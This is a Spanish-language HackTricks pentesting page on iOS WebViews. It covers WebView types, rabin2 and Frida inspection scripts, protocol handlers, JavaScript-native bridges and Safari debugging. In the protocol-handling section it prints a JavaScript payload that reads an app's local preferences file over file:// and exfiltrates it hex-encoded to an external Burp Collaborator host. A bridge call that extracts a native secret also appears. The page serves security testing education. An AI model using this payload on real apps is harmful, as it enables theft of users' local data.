hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md

293 lines
18 KiB
Markdown

# iOS WebViews
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
## Tipos de WebViews
Las WebViews se utilizan dentro de las aplicaciones para mostrar contenido web de manera interactiva. Varios tipos de WebViews ofrecen diferentes funcionalidades y características de seguridad para aplicaciones iOS. Aquí hay un breve resumen:
- **UIWebView**, que ya no se recomienda a partir de iOS 12 debido a su falta de soporte para deshabilitar **JavaScript**, lo que la hace susceptible a inyecciones de scripts y ataques de **Cross-Site Scripting (XSS)**.
- **WKWebView** es la opción preferida para incorporar contenido web en aplicaciones, ofreciendo un control mejorado sobre el contenido y características de seguridad. **JavaScript** está habilitado por defecto, pero se puede deshabilitar si es necesario. También admite características para evitar que JavaScript abra ventanas automáticamente y asegura que todo el contenido se cargue de manera segura. Además, la arquitectura de **WKWebView** minimiza el riesgo de corrupción de memoria que afecte al proceso principal de la aplicación.
- **SFSafariViewController** ofrece una experiencia de navegación web estandarizada dentro de las aplicaciones, reconocible por su diseño específico que incluye un campo de dirección de solo lectura, botones de compartir y navegación, y un enlace directo para abrir contenido en Safari. A diferencia de **WKWebView**, **JavaScript** no se puede deshabilitar en **SFSafariViewController**, que también comparte cookies y datos con Safari, manteniendo la privacidad del usuario desde la aplicación. Debe mostrarse de manera prominente de acuerdo con las pautas de la App Store.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Resumen de Exploración de Configuración de WebViews
### **Descripción General del Análisis Estático**
En el proceso de examinar las configuraciones de **WebViews**, se enfocan en dos tipos principales: **UIWebView** y **WKWebView**. Para identificar estos WebViews dentro de un binario, se utilizan comandos, buscando referencias de clase específicas y métodos de inicialización.
- **Identificación de UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Este comando ayuda a localizar instancias de **UIWebView** buscando cadenas de texto relacionadas con él en el binario.
- **Identificación de WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
De manera similar, para **WKWebView**, este comando busca en el binario cadenas de texto indicativas de su uso.
Además, para encontrar cómo se inicializa un **WKWebView**, se ejecuta el siguiente comando, dirigido a la firma del método relacionada con su inicialización:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Verificación de Configuración de JavaScript**
Para **WKWebView**, se destaca que deshabilitar JavaScript es una buena práctica a menos que sea necesario. Se busca en el binario compilado para confirmar que la propiedad `javaScriptEnabled` está configurada en `false`, asegurando que JavaScript esté deshabilitado:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Verificación de Solo Contenido Seguro**
**WKWebView** ofrece la capacidad de identificar problemas de contenido mixto, a diferencia de **UIWebView**. Esto se verifica utilizando la propiedad `hasOnlySecureContent` para asegurar que todos los recursos de la página se carguen a través de conexiones seguras. La búsqueda en el binario compilado se realiza de la siguiente manera:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Perspectivas de Análisis Dinámico**
El análisis dinámico implica inspeccionar el heap en busca de instancias de WebView y sus propiedades. Se utiliza un script llamado `webviews_inspector.js` para este propósito, dirigido a instancias de `UIWebView`, `WKWebView` y `SFSafariViewController`. Registra información sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro.
La inspección del heap se puede realizar utilizando `ObjC.choose()` para identificar instancias de WebView y verificar las propiedades `javaScriptEnabled` y `hasonlysecurecontent`.
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
El script se ejecuta con:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Resultados Clave**:
- Se localizan e inspeccionan con éxito las instancias de WebViews.
- Se verifica la habilitación de JavaScript y la configuración de contenido seguro.
Este resumen encapsula los pasos y comandos críticos involucrados en el análisis de configuraciones de WebView a través de enfoques estáticos y dinámicos, centrándose en características de seguridad como la habilitación de JavaScript y la detección de contenido mixto.
## Manejo del Protocolo WebView
Manejar contenido en WebViews es un aspecto crítico, especialmente al tratar con varios protocolos como `http(s)://`, `file://` y `tel://`. Estos protocolos permiten la carga de contenido remoto y local dentro de las aplicaciones. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y en la edición del contenido mismo.
**WebViews** ofrecen diferentes métodos para la carga de contenido. Para **UIWebView**, ahora obsoleto, se utilizan métodos como `loadHTMLString:baseURL:` y `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por otro lado, emplea `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` y `loadRequest:` para contenido web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` y `init(contentsOf:encoding:)` se utilizan típicamente para cargar archivos locales. El método `loadFileURL:allowingReadAccessToURL:` es particularmente notable por su capacidad para cargar una URL o directorio específico en el WebView, exponiendo potencialmente datos sensibles si se especifica un directorio.
Para encontrar estos métodos en el código fuente o binario compilado, se pueden usar comandos como los siguientes:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
En cuanto al **acceso a archivos**, UIWebView lo permite de manera universal, mientras que WKWebView introduce configuraciones `allowFileAccessFromFileURLs` y `allowUniversalAccessFromFileURLs` para gestionar el acceso desde URL de archivos, siendo ambas falsas por defecto.
Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de **WKWebView** para ajustes de seguridad:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
Por último, un ejemplo de una carga útil de JavaScript destinada a exfiltrar archivos locales demuestra el potencial riesgo de seguridad asociado con WebViews mal configurados. Esta carga útil codifica el contenido de los archivos en formato hex antes de transmitirlos a un servidor, destacando la importancia de medidas de seguridad estrictas en las implementaciones de WebView.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## Métodos Nativos Expuestos a Través de WebViews
## Comprendiendo las Interfaces Nativas de WebView en iOS
Desde iOS 7 en adelante, Apple proporcionó APIs para **la comunicación entre JavaScript en un WebView y objetos nativos** de Swift u Objective-C. Esta integración se facilita principalmente a través de dos métodos:
- **JSContext**: Una función de JavaScript se crea automáticamente cuando un bloque de Swift u Objective-C se vincula a un identificador dentro de un `JSContext`. Esto permite una integración y comunicación sin problemas entre JavaScript y el código nativo.
- **JSExport Protocol**: Al heredar el protocolo `JSExport`, se pueden exponer propiedades nativas, métodos de instancia y métodos de clase a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que los datos sensibles no se expongan inadvertidamente a través de este método.
### Accediendo a `JSContext` en Objective-C
En Objective-C, el `JSContext` para un `UIWebView` se puede recuperar con la siguiente línea de código:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### Comunicación con `WKWebView`
Para `WKWebView`, el acceso directo a `JSContext` no está disponible. En su lugar, se utiliza el paso de mensajes a través de la función `postMessage`, lo que permite la comunicación de JavaScript a nativo. Los controladores para estos mensajes se configuran de la siguiente manera, lo que permite que JavaScript interactúe con la aplicación nativa de manera segura:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
### Interacción y Pruebas
JavaScript puede interactuar con la capa nativa definiendo un controlador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una página web:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Para capturar y manipular el resultado de una llamada a una función nativa, se puede anular la función de callback dentro del HTML:
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
```
El lado nativo maneja la llamada de JavaScript como se muestra en la clase `JavaScriptBridgeMessageHandler`, donde el resultado de operaciones como multiplicar números se procesa y se envía de vuelta a JavaScript para su visualización o manipulación adicional:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## Depuración de WebViews en iOS
(Tutorial basado en el de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Para depurar eficazmente el contenido web dentro de los webviews de iOS, se requiere una configuración específica que involucra las herramientas de desarrollador de Safari, debido a que los mensajes enviados a `console.log()` no se muestran en los registros de Xcode. Aquí hay una guía simplificada, enfatizando los pasos y requisitos clave:
- **Preparación en el dispositivo iOS**: El Inspector Web de Safari debe ser activado en tu dispositivo iOS. Esto se hace yendo a **Configuración > Safari > Avanzado**, y habilitando el _Inspector Web_.
- **Preparación en el dispositivo macOS**: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollador dentro de Safari. Inicia Safari, accede a **Safari > Preferencias > Avanzado**, y selecciona la opción para _Mostrar menú de Desarrollo_.
- **Conexión y depuración**: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, usa Safari en tu dispositivo macOS para seleccionar el webview que deseas depurar. Navega a _Desarrollar_ en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari para este propósito.
Sin embargo, ten en cuenta las limitaciones:
- La depuración con este método requiere un dispositivo macOS ya que se basa en Safari.
- Solo los webviews en aplicaciones cargadas en tu dispositivo a través de Xcode son elegibles para la depuración. Los webviews en aplicaciones instaladas a través de la App Store o Apple Configurator no pueden ser depurados de esta manera.
## Referencias
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}